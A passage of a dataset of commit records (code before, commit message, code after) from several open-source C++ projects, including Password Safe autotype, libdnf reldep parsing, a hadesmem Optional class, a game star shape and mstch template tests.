(*KeySendFunction)(XKeyEvent*);\n\n if ( useXTEST) {\n KeySendFunction = XTest_SendKeyEvent;\n XTestGrabControl(event.display, True);\n }\n else {\n KeySendFunction = XSendKeys_SendKeyEvent;\n }\n\n for (KeyPressInfoVector::const_iterator itr = keypresses.begin(); itr != keypresses.end()\n && !atGlobals.error_detected; ++itr) {\n event.keycode = itr->code;\n event.state = itr->state;\n event.time = CurrentTime;\n\n KeySendFunction(&event);\n pws_os::sleep_ms(delayMS);\n }\n\n if (useXTEST) {\n XTestGrabControl(event.display, False);\n }\n else {\n XSync(event.display, False);\n }\n\n XSetErrorHandler(NULL);\n}\n\n} \/\/ anonymous namespace\n\n\/*\n * SendString - The interface method for CKeySend\n *\n * The actual work is done by DoSendString above. This function just\n * just throws an exception if DoSendString encounters an error.\n *\n *\/\nvoid pws_os::SendString(const StringX& str, AutotypeMethod method, unsigned delayMS)\n{\n atGlobals.error_detected = false;\n atGlobals.errorString[0] = 0;\n\n DoSendString(str, method, delayMS);\n\n if (atGlobals.error_detected)\n throw autotype_exception();\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Correct lngmerge not to work with eof<commit_after><|endoftext|>"} {"text":"<commit_before><commit_msg>convert system path to url<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2018 Red Hat, Inc.\n *\n * Licensed under the GNU Lesser General Public License Version 2.1\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"DependencySplitter.hpp\"\n#include \"..\/dnf-sack.h\"\n#include \"..\/utils\/regex\/regex.hpp\"\n\nnamespace libdnf {\n\nstatic const Regex RELDEP_REGEX = \n Regex(\"^(\\\\S*)\\\\s*(<=|>=|<|>|=)?\\\\s*(\\\\S*)$\", REG_EXTENDED);\n\nstatic bool\ngetCmpFlags(int *cmp_type, std::string matchCmpType)\n{\n int subexpr_len = matchCmpType.size();\n auto match_start = matchCmpType.c_str();\n if (subexpr_len == 2) {\n if (strncmp(match_start, \"<=\", 2) == 0) {\n *cmp_type |= HY_LT;\n *cmp_type |= HY_EQ;\n }\n else if (strncmp(match_start, \">=\", 2) == 0) {\n *cmp_type |= HY_GT;\n *cmp_type |= HY_EQ;\n }\n else\n return false;\n } else if (subexpr_len == 1) {\n if (*match_start == '<')\n *cmp_type |= HY_LT;\n else if (*match_start == '>')\n *cmp_type |= HY_GT;\n else if (*match_start == '=')\n *cmp_type |= HY_EQ;\n else\n return false;\n } else\n return false;\n return true;\n}\n\nbool\nDependencySplitter::parse(const char * reldepStr)\n{\n enum { NAME = 1, CMP_TYPE = 2, EVR = 3, _LAST_ };\n auto matchResult = RELDEP_REGEX.match(reldepStr, false, _LAST_);\n if (!matchResult.isMatched() || matchResult.getMatchedLen(NAME) == 0) {\n return false;\n }\n name = matchResult.getMatchedString(NAME);\n evr = matchResult.getMatchedString(EVR);\n cmpType = 0;\n int evrLen = matchResult.getMatchedLen(EVR);\n int cmpTypeLen = matchResult.getMatchedLen(CMP_TYPE);\n if (cmpTypeLen < 1) {\n if (evrLen > 0) {\n \/\/ name contains the space char, e.g. filename like \"hello world.jpg\"\n evr.clear();\n name = reldepStr;\n }\n return true;\n }\n if (evrLen < 1)\n return false;\n\n return getCmpFlags(&cmpType, matchResult.getMatchedString(CMP_TYPE));\n}\n\n}\n<commit_msg>Accept '==' as an operator in reldeps (RhBug:1847946)<commit_after>\/*\n * Copyright (C) 2018 Red Hat, Inc.\n *\n * Licensed under the GNU Lesser General Public License Version 2.1\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"DependencySplitter.hpp\"\n#include \"..\/dnf-sack.h\"\n#include \"..\/log.hpp\"\n#include \"..\/utils\/regex\/regex.hpp\"\n\n#include \"bgettext\/bgettext-lib.h\"\n#include \"tinyformat\/tinyformat.hpp\"\n\nnamespace libdnf {\n\nstatic const Regex RELDEP_REGEX = \n Regex(\"^(\\\\S*)\\\\s*(<=|>=|<|>|=|==)?\\\\s*(\\\\S*)$\", REG_EXTENDED);\n\nstatic bool\ngetCmpFlags(int *cmp_type, std::string matchCmpType)\n{\n auto logger(Log::getLogger());\n int subexpr_len = matchCmpType.size();\n auto match_start = matchCmpType.c_str();\n if (subexpr_len == 2) {\n if (strncmp(match_start, \"<=\", 2) == 0) {\n *cmp_type |= HY_LT;\n *cmp_type |= HY_EQ;\n }\n else if (strncmp(match_start, \">=\", 2) == 0) {\n *cmp_type |= HY_GT;\n *cmp_type |= HY_EQ;\n }\n else if (strncmp(match_start, \"==\", 2) == 0) {\n auto msg = tfm::format(_(\"Using '==' operator in reldeps can result in an undefined \"\n \"behavior. It is deprecated and the support will be dropped \"\n \"in future versions. Use '=' operator instead.\"));\n logger->warning(msg);\n *cmp_type |= HY_EQ;\n }\n else\n return false;\n } else if (subexpr_len == 1) {\n if (*match_start == '<')\n *cmp_type |= HY_LT;\n else if (*match_start == '>')\n *cmp_type |= HY_GT;\n else if (*match_start == '=')\n *cmp_type |= HY_EQ;\n else\n return false;\n } else\n return false;\n return true;\n}\n\nbool\nDependencySplitter::parse(const char * reldepStr)\n{\n enum { NAME = 1, CMP_TYPE = 2, EVR = 3, _LAST_ };\n auto matchResult = RELDEP_REGEX.match(reldepStr, false, _LAST_);\n if (!matchResult.isMatched() || matchResult.getMatchedLen(NAME) == 0) {\n return false;\n }\n name = matchResult.getMatchedString(NAME);\n evr = matchResult.getMatchedString(EVR);\n cmpType = 0;\n int evrLen = matchResult.getMatchedLen(EVR);\n int cmpTypeLen = matchResult.getMatchedLen(CMP_TYPE);\n if (cmpTypeLen < 1) {\n if (evrLen > 0) {\n \/\/ name contains the space char, e.g. filename like \"hello world.jpg\"\n evr.clear();\n name = reldepStr;\n }\n return true;\n }\n if (evrLen < 1)\n return false;\n\n return getCmpFlags(&cmpType, matchResult.getMatchedString(CMP_TYPE));\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (C) 2010-2013 Joshua Boyce.\r\n\/\/ See the file COPYING for copying permission.\r\n\r\n#pragma once\r\n\r\n#include <type_traits>\r\n#include <utility>\r\n\r\n#include <hadesmem\/config.hpp>\r\n\r\n\/\/ TODO: Implement same interface as std::optional<T> to make switching later \r\n\/\/ easier.\r\n\r\n\/\/ TODO: Add tests.\r\n\r\n\/\/ TODO: Add constexpr support. (http:\/\/bit.ly\/U7lSYy)\r\n\r\nnamespace hadesmem\r\n{\r\n\r\n namespace detail\r\n {\r\n\r\n \/\/ WARNING: T must have no-throw move, no-throw move assignment and \r\n \/\/ no-throw destruction.\r\n template <typename T>\r\n class Optional\r\n {\r\n private:\r\n using Boolean = void(Optional::*)() const;\r\n\r\n public:\r\n HADESMEM_DETAIL_CONSTEXPR Optional() HADESMEM_DETAIL_NOEXCEPT\r\n : t_(),\r\n valid_(false)\r\n { }\r\n\r\n explicit Optional(T const& t)\r\n : t_(),\r\n valid_(false)\r\n {\r\n Construct(t);\r\n }\r\n\r\n \/\/ TODO: Conditional noexcept.\r\n explicit Optional(T&& t)\r\n : t_(),\r\n valid_(false)\r\n {\r\n Construct(std::move(t));\r\n }\r\n\r\n Optional(Optional const& other)\r\n : t_(),\r\n valid_(false)\r\n {\r\n Construct(other.Get());\r\n }\r\n\r\n Optional& operator=(Optional const& other)\r\n {\r\n Optional tmp(other);\r\n *this = std::move(tmp);\r\n\r\n return *this;\r\n }\r\n\r\n \/\/ TODO: Conditional noexcept.\r\n Optional(Optional&& other)\r\n : t_(),\r\n valid_(false)\r\n {\r\n Construct(std::move(other.Get()));\r\n other.valid_ = false;\r\n }\r\n\r\n \/\/ TODO: Conditional noexcept.\r\n Optional& operator=(Optional&& other)\r\n {\r\n Destroy();\r\n Construct(std::move(other.Get()));\r\n other.valid_ = false;\r\n\r\n return *this;\r\n }\r\n\r\n Optional& operator=(T const& t)\r\n {\r\n Destroy();\r\n Construct(t);\r\n\r\n return *this;\r\n }\r\n\r\n Optional& operator=(T&& t) HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n Destroy();\r\n Construct(std::move(t));\r\n\r\n return *this;\r\n }\r\n\r\n ~Optional() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n Destroy();\r\n }\r\n\r\n \/\/ TODO: Emplacement support. (Including default construction of T.)\r\n\r\n#if defined(HADESMEM_DETAIL_NO_EXPLICIT_CONVERSION_OPERATOR)\r\n operator Boolean() const HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return valid_ ? &Optional::NotComparable : nullptr;\r\n }\r\n#else \/\/ #if defined(HADESMEM_DETAIL_NO_EXPLICIT_CONVERSION_OPERATOR)\r\n explicit operator bool() const HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return valid_;\r\n }\r\n#endif \/\/ #if defined(HADESMEM_DETAIL_NO_EXPLICIT_CONVERSION_OPERATOR)\r\n\r\n T& Get() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return *GetPtr();\r\n }\r\n\r\n T const& Get() const HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return *GetPtr();\r\n }\r\n\r\n T& operator*() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return Get();\r\n }\r\n\r\n T const& operator*() const HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return Get();\r\n }\r\n\r\n T* GetPtr() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return static_cast<T*>(static_cast<void*>(&t_));\r\n }\r\n\r\n T const* GetPtr() const HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return static_cast<T const*>(static_cast<void const*>(&t_));\r\n }\r\n\r\n T* operator->() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return GetPtr();\r\n }\r\n\r\n T const* operator->() const HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return GetPtr();\r\n }\r\n\r\n private:\r\n void NotComparable() const HADESMEM_DETAIL_NOEXCEPT\r\n {}\r\n\r\n template <typename U>\r\n void Construct(U&& u)\r\n {\r\n if (valid_)\r\n {\r\n Destroy();\r\n }\r\n\r\n new (&t_) T(std::forward<U>(u));\r\n valid_ = true;\r\n }\r\n\r\n void Destroy() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n if (valid_)\r\n {\r\n GetPtr()->~T();\r\n valid_ = false;\r\n }\r\n }\r\n\r\n std::aligned_storage_t<sizeof(T), std::alignment_of<T>::value> t_;\r\n bool valid_;\r\n };\r\n\r\n \/\/ TODO: Add conditional noexcept to operator overloads.\r\n\r\n template <typename T>\r\n inline bool operator==(Optional<T> const& lhs, Optional<T> const& rhs)\r\n {\r\n return (!lhs && !rhs) || ((rhs && lhs) && *rhs == *lhs);\r\n }\r\n\r\n template <typename T>\r\n inline bool operator!=(Optional<T> const& lhs, Optional<T> const& rhs)\r\n {\r\n return !(lhs == rhs);\r\n }\r\n\r\n template <typename T>\r\n inline bool operator<(Optional<T> const& lhs, Optional<T> const& rhs)\r\n {\r\n return (!lhs && !rhs) || ((rhs && lhs) && *rhs < *lhs);\r\n }\r\n\r\n }\r\n\r\n}\r\n<commit_msg>* [Optional] Clean up explicit bool operator.<commit_after>\/\/ Copyright (C) 2010-2013 Joshua Boyce.\r\n\/\/ See the file COPYING for copying permission.\r\n\r\n#pragma once\r\n\r\n#include <type_traits>\r\n#include <utility>\r\n\r\n#include <hadesmem\/config.hpp>\r\n\r\n\/\/ TODO: Implement same interface as std::optional<T> to make switching later \r\n\/\/ easier.\r\n\r\n\/\/ TODO: Add tests.\r\n\r\n\/\/ TODO: Add constexpr support. (http:\/\/bit.ly\/U7lSYy)\r\n\r\nnamespace hadesmem\r\n{\r\n\r\n namespace detail\r\n {\r\n\r\n \/\/ WARNING: T must have no-throw move, no-throw move assignment and \r\n \/\/ no-throw destruction.\r\n template <typename T>\r\n class Optional\r\n {\r\n public:\r\n HADESMEM_DETAIL_CONSTEXPR Optional() HADESMEM_DETAIL_NOEXCEPT\r\n : t_(),\r\n valid_(false)\r\n { }\r\n\r\n explicit Optional(T const& t)\r\n : t_(),\r\n valid_(false)\r\n {\r\n Construct(t);\r\n }\r\n\r\n \/\/ TODO: Conditional noexcept.\r\n explicit Optional(T&& t)\r\n : t_(),\r\n valid_(false)\r\n {\r\n Construct(std::move(t));\r\n }\r\n\r\n Optional(Optional const& other)\r\n : t_(),\r\n valid_(false)\r\n {\r\n Construct(other.Get());\r\n }\r\n\r\n Optional& operator=(Optional const& other)\r\n {\r\n Optional tmp(other);\r\n *this = std::move(tmp);\r\n\r\n return *this;\r\n }\r\n\r\n \/\/ TODO: Conditional noexcept.\r\n Optional(Optional&& other)\r\n : t_(),\r\n valid_(false)\r\n {\r\n Construct(std::move(other.Get()));\r\n other.valid_ = false;\r\n }\r\n\r\n \/\/ TODO: Conditional noexcept.\r\n Optional& operator=(Optional&& other)\r\n {\r\n Destroy();\r\n Construct(std::move(other.Get()));\r\n other.valid_ = false;\r\n\r\n return *this;\r\n }\r\n\r\n Optional& operator=(T const& t)\r\n {\r\n Destroy();\r\n Construct(t);\r\n\r\n return *this;\r\n }\r\n\r\n Optional& operator=(T&& t) HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n Destroy();\r\n Construct(std::move(t));\r\n\r\n return *this;\r\n }\r\n\r\n ~Optional() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n Destroy();\r\n }\r\n\r\n \/\/ TODO: Emplacement support. (Including default construction of T.)\r\n\r\n explicit operator bool() const HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return valid_;\r\n }\r\n\r\n T& Get() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return *GetPtr();\r\n }\r\n\r\n T const& Get() const HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return *GetPtr();\r\n }\r\n\r\n T& operator*() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return Get();\r\n }\r\n\r\n T const& operator*() const HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return Get();\r\n }\r\n\r\n T* GetPtr() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return static_cast<T*>(static_cast<void*>(&t_));\r\n }\r\n\r\n T const* GetPtr() const HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return static_cast<T const*>(static_cast<void const*>(&t_));\r\n }\r\n\r\n T* operator->() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return GetPtr();\r\n }\r\n\r\n T const* operator->() const HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n return GetPtr();\r\n }\r\n\r\n private:\r\n template <typename U>\r\n void Construct(U&& u)\r\n {\r\n if (valid_)\r\n {\r\n Destroy();\r\n }\r\n\r\n new (&t_) T(std::forward<U>(u));\r\n valid_ = true;\r\n }\r\n\r\n void Destroy() HADESMEM_DETAIL_NOEXCEPT\r\n {\r\n if (valid_)\r\n {\r\n GetPtr()->~T();\r\n valid_ = false;\r\n }\r\n }\r\n\r\n std::aligned_storage_t<sizeof(T), std::alignment_of<T>::value> t_;\r\n bool valid_;\r\n };\r\n\r\n \/\/ TODO: Add conditional noexcept to operator overloads.\r\n\r\n template <typename T>\r\n inline bool operator==(Optional<T> const& lhs, Optional<T> const& rhs)\r\n {\r\n return (!lhs && !rhs) || ((rhs && lhs) && *rhs == *lhs);\r\n }\r\n\r\n template <typename T>\r\n inline bool operator!=(Optional<T> const& lhs, Optional<T> const& rhs)\r\n {\r\n return !(lhs == rhs);\r\n }\r\n\r\n template <typename T>\r\n inline bool operator<(Optional<T> const& lhs, Optional<T> const& rhs)\r\n {\r\n return (!lhs && !rhs) || ((rhs && lhs) && *rhs < *lhs);\r\n }\r\n\r\n }\r\n\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2013-2014 Christoph Malek\n\/\/ See LICENSE for more information.\n\/\/\n\n#ifndef RJ_GAME_COMPONENTS_STAR5_HPP\n#define RJ_GAME_COMPONENTS_STAR5_HPP\n\n\n#include <SFML\/Graphics.hpp>\n\n#include <cmath>\n\n\nnamespace rj\n{\n\tclass star5 : public sf::ConvexShape\n\t{\n\t\tstatic constexpr float m_pi{3.14159265359f};\n\t\tfloat m_length;\n\n\tpublic:\n\t\tstar5(float length) :\n\t\t\tm_length{length}\n\t\t{this->init();}\n\n\t\tvoid set_length(float l) noexcept\n\t\t{m_length = l; this->recalculate();}\n\n\t\tfloat get_length() const noexcept\n\t\t{return m_length;}\n\n\tprivate:\n\t\tvoid init() noexcept\n\t\t{\n\t\t\tthis->setPointCount(5);\n\t\t\tthis->recalculate();\n\t\t}\n\n\t\tvoid recalculate() noexcept\n\t\t{\n\t\t\tthis->setPoint(0, {m_length * std::cos((2 * m_pi) \/ 5), m_length * std::sin((2 * m_pi) \/5)});\n\t\t\tthis->setPoint(1, {m_length * std::cos((6 * m_pi) \/ 5), m_length * std::sin((6 * m_pi) \/ 5)});\n\t\t\tthis->setPoint(2, {m_length * std::cos((10 * m_pi) \/ 5), m_length * std::sin((10 * m_pi) \/ 5)});\n\t\t\tthis->setPoint(3, {m_length * std::cos((4 * m_pi) \/ 5), m_length * std::sin((4 * m_pi) \/ 5)});\n\t\t\tthis->setPoint(4, {m_length * std::cos((8 * m_pi) \/ 5), m_length * std::sin((8 * m_pi) \/ 5)});\n\t\t}\n\t};\n}\n\n\n#endif \/\/ RJ_GAME_COMPONENTS_STAR5_HPP\n<commit_msg>added new ctor<commit_after>\/\/\n\/\/ Copyright (c) 2013-2014 Christoph Malek\n\/\/ See LICENSE for more information.\n\/\/\n\n#ifndef RJ_GAME_COMPONENTS_STAR5_HPP\n#define RJ_GAME_COMPONENTS_STAR5_HPP\n\n\n#include <rectojump\/global\/common.hpp>\n\n#include <SFML\/Graphics.hpp>\n\n#include <cmath>\n\n\nnamespace rj\n{\n\tclass star5 : public sf::ConvexShape\n\t{\n\t\tstatic constexpr float m_pi{3.14159265359f};\n\t\tfloat m_length;\n\n\tpublic:\n\t\tstar5(float length) :\n\t\t\tm_length{length}\n\t\t{this->init();}\n\n\t\tstar5(float length, const vec2f& pos) :\n\t\t\tstar5{length}\n\t\t{this->setPosition(pos);}\n\n\t\tvoid set_length(float l) noexcept\n\t\t{m_length = l; this->recalculate();}\n\n\t\tfloat get_length() const noexcept\n\t\t{return m_length;}\n\n\tprivate:\n\t\tvoid init() noexcept\n\t\t{\n\t\t\tthis->setPointCount(5);\n\t\t\tthis->recalculate();\n\t\t}\n\n\t\tvoid recalculate() noexcept\n\t\t{\n\t\t\tthis->setPoint(0, {m_length * std::cos((2 * m_pi) \/ 5), m_length * std::sin((2 * m_pi) \/5)});\n\t\t\tthis->setPoint(1, {m_length * std::cos((6 * m_pi) \/ 5), m_length * std::sin((6 * m_pi) \/ 5)});\n\t\t\tthis->setPoint(2, {m_length * std::cos((10 * m_pi) \/ 5), m_length * std::sin((10 * m_pi) \/ 5)});\n\t\t\tthis->setPoint(3, {m_length * std::cos((4 * m_pi) \/ 5), m_length * std::sin((4 * m_pi) \/ 5)});\n\t\t\tthis->setPoint(4, {m_length * std::cos((8 * m_pi) \/ 5), m_length * std::sin((8 * m_pi) \/ 5)});\n\t\t}\n\t};\n}\n\n\n#endif \/\/ RJ_GAME_COMPONENTS_STAR5_HPP\n<|endoftext|>"} {"text":"<commit_before>#define CATCH_CONFIG_MAIN\n\n#include \"catch.hpp\"\n#include \"rapidjson\/document.h\"\n#include \"mstch\/mstch.hpp\"\n#include \"test_context.hpp\"\n#include \"test_data.hpp\"\n#include \"specs_data.hpp\"\n#include \"specs_lambdas.hpp\"\n\nusing namespace mstchtest;\n\nmstch::node to_value(const rapidjson::Value& val) {\n if (val.IsString())\n return std::string{val.GetString()};\n if (val.IsBool())\n return val.GetBool();\n if (val.IsDouble())\n return val.GetDouble();\n if (val.IsInt())\n return val.GetInt();\n return mstch::node{};\n}\n\nmstch::array to_array(const rapidjson::Value& val);\n\nmstch::map to_object(const rapidjson::Value& val) {\n mstch::map ret;\n for (auto i = val.MemberBegin(); i != val.MemberEnd(); ++i) {\n if (i->value.IsArray())\n ret.insert(std::make_pair(i->name.GetString(), to_array(i->value)));\n else if (i->value.IsObject())\n ret.insert(std::make_pair(i->name.GetString(), to_object(i->value)));\n else\n ret.insert(std::make_pair(i->name.GetString(), to_value(i->value)));\n }\n return ret;\n}\n\nmstch::array to_array(const rapidjson::Value& val) {\n mstch::array ret;\n for (auto i = val.Begin(); i != val.End(); ++i) {\n if (i->IsArray())\n ret.push_back(to_array(*i));\n else if (i->IsObject())\n ret.push_back(to_object(*i));\n else\n ret.push_back(to_value(*i));\n }\n return ret;\n}\n\nmstch::node parse_with_rapidjson(const std::string& str) {\n rapidjson::Document doc;\n doc.Parse(str.c_str());\n return to_object(doc);\n}\n\n#define MSTCH_PARTIAL_TEST(x) TEST_CASE(#x) { \\\n REQUIRE(x ## _txt == mstch::render(x ## _mustache, x ## _data, {{\"partial\", x ## _partial}})); \\\n}\n\n#define MSTCH_TEST(x) TEST_CASE(#x) { \\\n REQUIRE(x ## _txt == mstch::render(x ## _mustache, x ## _data)); \\\n}\n\n#define SPECS_TEST(x) TEST_CASE(\"specs_\" #x) { \\\n using boost::get; \\\n auto data = parse_with_rapidjson(x ## _json); \\\n for (auto& test_item: get<mstch::array>(get<mstch::map>(data)[\"tests\"])) {\\\n auto test = get<mstch::map>(test_item); \\\n std::map<std::string,std::string> partials; \\\n if (test.count(\"partials\")) \\\n for (auto& partial_item: get<mstch::map>(test[\"partials\"])) \\\n partials.insert(std::make_pair(partial_item.first, get<std::string>(partial_item.second))); \\\n for (auto& data_item: get<mstch::map>(test[\"data\"])) \\\n if (data_item.first == \"lambda\") \\\n data_item.second = specs_lambdas[get<std::string>(test[\"name\"])]; \\\n SECTION(get<std::string>(test[\"name\"])) \\\n REQUIRE(mstch::render( \\\n get<std::string>(test[\"template\"]), \\\n test[\"data\"], partials) == \\\n get<std::string>(test[\"expected\"])); \\\n } \\\n}\n\nMSTCH_TEST(ampersand_escape)\nMSTCH_TEST(apostrophe)\nMSTCH_TEST(array_of_strings)\nMSTCH_TEST(backslashes)\nMSTCH_TEST(bug_11_eating_whitespace)\nMSTCH_TEST(bug_length_property)\nMSTCH_TEST(changing_delimiters)\nMSTCH_TEST(comments)\nMSTCH_TEST(complex)\nMSTCH_TEST(context_lookup)\nMSTCH_TEST(delimiters)\nMSTCH_TEST(disappearing_whitespace)\nMSTCH_TEST(dot_notation)\nMSTCH_TEST(double_render)\nMSTCH_TEST(empty_list)\nMSTCH_TEST(empty_sections)\nMSTCH_TEST(empty_string)\nMSTCH_TEST(empty_template)\nMSTCH_TEST(error_eof_in_section)\nMSTCH_TEST(error_eof_in_tag)\nMSTCH_TEST(error_not_found)\nMSTCH_TEST(escaped)\nMSTCH_TEST(falsy)\nMSTCH_TEST(falsy_array)\nMSTCH_TEST(grandparent_context)\nMSTCH_TEST(higher_order_sections)\nMSTCH_TEST(implicit_iterator)\nMSTCH_TEST(included_tag)\nMSTCH_TEST(inverted_section)\nMSTCH_TEST(keys_with_questionmarks)\nMSTCH_TEST(multiline_comment)\nMSTCH_TEST(nested_dot)\nMSTCH_TEST(nested_higher_order_sections)\nMSTCH_TEST(nested_iterating)\nMSTCH_TEST(nesting)\nMSTCH_TEST(nesting_same_name)\nMSTCH_TEST(null_lookup_array)\nMSTCH_TEST(null_lookup_object)\nMSTCH_TEST(null_string)\nMSTCH_TEST(null_view)\nMSTCH_PARTIAL_TEST(partial_array)\nMSTCH_PARTIAL_TEST(partial_array_of_partials)\nMSTCH_PARTIAL_TEST(partial_array_of_partials_implicit)\nMSTCH_PARTIAL_TEST(partial_empty)\nMSTCH_PARTIAL_TEST(partial_template)\nMSTCH_PARTIAL_TEST(partial_view)\nMSTCH_PARTIAL_TEST(partial_whitespace)\nMSTCH_TEST(recursion_with_same_names)\nMSTCH_TEST(reuse_of_enumerables)\nMSTCH_TEST(section_as_context)\nMSTCH_PARTIAL_TEST(section_functions_in_partials)\nMSTCH_TEST(simple)\nMSTCH_TEST(string_as_context)\nMSTCH_TEST(two_in_a_row)\nMSTCH_TEST(two_sections)\nMSTCH_TEST(unescaped)\nMSTCH_TEST(whitespace)\nMSTCH_TEST(zero_view)\n\nSPECS_TEST(comments)\nSPECS_TEST(delimiters)\nSPECS_TEST(interpolation)\nSPECS_TEST(inverted)\nSPECS_TEST(partials)\nSPECS_TEST(sections)\nSPECS_TEST(lambdas)\n<commit_msg>fix for libc++<commit_after>#define CATCH_CONFIG_MAIN\n\n#include \"catch.hpp\"\n#include \"rapidjson\/document.h\"\n#include \"mstch\/mstch.hpp\"\n#include \"test_context.hpp\"\n#include \"test_data.hpp\"\n#include \"specs_data.hpp\"\n#include \"specs_lambdas.hpp\"\n\nusing namespace mstchtest;\n\nmstch::node to_value(const rapidjson::Value& val) {\n if (val.IsString())\n return std::string{val.GetString()};\n if (val.IsBool())\n return val.GetBool();\n if (val.IsDouble())\n return val.GetDouble();\n if (val.IsInt())\n return val.GetInt();\n return mstch::node{};\n}\n\nmstch::array to_array(const rapidjson::Value& val);\n\nmstch::map to_object(const rapidjson::Value& val) {\n mstch::map ret;\n for (auto i = val.MemberBegin(); i != val.MemberEnd(); ++i) {\n if (i->value.IsArray())\n ret.insert(std::make_pair(i->name.GetString(), to_array(i->value)));\n else if (i->value.IsObject())\n ret.insert(std::make_pair(i->name.GetString(), to_object(i->value)));\n else\n ret.insert(std::make_pair(i->name.GetString(), to_value(i->value)));\n }\n return ret;\n}\n\nmstch::array to_array(const rapidjson::Value& val) {\n mstch::array ret;\n for (auto i = val.Begin(); i != val.End(); ++i) {\n if (i->IsArray())\n ret.push_back(to_array(*i));\n else if (i->IsObject())\n ret.push_back(to_object(*i));\n else\n ret.push_back(to_value(*i));\n }\n return ret;\n}\n\nmstch::node parse_with_rapidjson(const std::string& str) {\n rapidjson::Document doc;\n doc.Parse(str.c_str());\n return to_object(doc);\n}\n\n#define MSTCH_PARTIAL_TEST(x) TEST_CASE(#x) { \\\n REQUIRE(x ## _txt == mstch::render(x ## _mustache, x ## _data, {{\"partial\", x ## _partial}})); \\\n}\n\n#define MSTCH_TEST(x) TEST_CASE(#x) { \\\n REQUIRE(x ## _txt == mstch::render(x ## _mustache, x ## _data)); \\\n}\n\n#define SPECS_TEST(x) TEST_CASE(\"specs_\" #x) { \\\n using boost::get; \\\n auto data = parse_with_rapidjson(x ## _json); \\\n for (auto& test_item: get<mstch::array>(get<mstch::map>(data)[\"tests\"])) {\\\n auto test = get<mstch::map>(test_item); \\\n std::map<std::string,std::string> partials; \\\n if (test.count(\"partials\")) \\\n for (auto& partial_item: get<mstch::map>(test[\"partials\"])) \\\n partials.insert(std::make_pair(partial_item.first, get<std::string>(partial_item.second))); \\\n mstch::map context; \\\n for (auto& data_item: get<mstch::map>(test[\"data\"])) \\\n if (data_item.first == \"lambda\") \\\n context.insert(std::make_pair(data_item.first, specs_lambdas[get<std::string>(test[\"name\"])])); \\\n else \\\n context.insert(data_item); \\\n SECTION(get<std::string>(test[\"name\"])) \\\n REQUIRE(mstch::render( \\\n get<std::string>(test[\"template\"]), \\\n context, partials) == \\\n get<std::string>(test[\"expected\"])); \\\n } \\\n}\n\nMSTCH_TEST(ampersand_escape)\nMSTCH_TEST(apostrophe)\nMSTCH_TEST(array_of_strings)\nMSTCH_TEST(backslashes)\nMSTCH_TEST(bug_11_eating_whitespace)\nMSTCH_TEST(bug_length_property)\nMSTCH_TEST(changing_delimiters)\nMSTCH_TEST(comments)\nMSTCH_TEST(complex)\nMSTCH_TEST(context_lookup)\nMSTCH_TEST(delimiters)\nMSTCH_TEST(disappearing_whitespace)\nMSTCH_TEST(dot_notation)\nMSTCH_TEST(double_render)\nMSTCH_TEST(empty_list)\nMSTCH_TEST(empty_sections)\nMSTCH_TEST(empty_string)\nMSTCH_TEST(empty_template)\nMSTCH_TEST(error_eof_in_section)\nMSTCH_TEST(error_eof_in_tag)\nMSTCH_TEST(error_not_found)\nMSTCH_TEST(escaped)\nMSTCH_TEST(falsy)\nMSTCH_TEST(falsy_array)\nMSTCH_TEST(grandparent_context)\nMSTCH_TEST(higher_order_sections)\nMSTCH_TEST(implicit_iterator)\nMSTCH_TEST(included_tag)\nMSTCH_TEST(inverted_section)\nMSTCH_TEST(keys_with_questionmarks)\nMSTCH_TEST(multiline_comment)\nMSTCH_TEST(nested_dot)\nMSTCH_TEST(nested_higher_order_sections)\nMSTCH_TEST(nested_iterating)\nMSTCH_TEST(nesting)\nMSTCH_TEST(nesting_same_name)\nMSTCH_TEST(null_lookup_array)\nMSTCH_TEST(null_lookup_object)\nMSTCH_TEST(null_string)\nMSTCH_TEST(null_view)\nMSTCH_PARTIAL_TEST(partial_array)\nMSTCH_PARTIAL_TEST(partial_array_of_partials)\nMST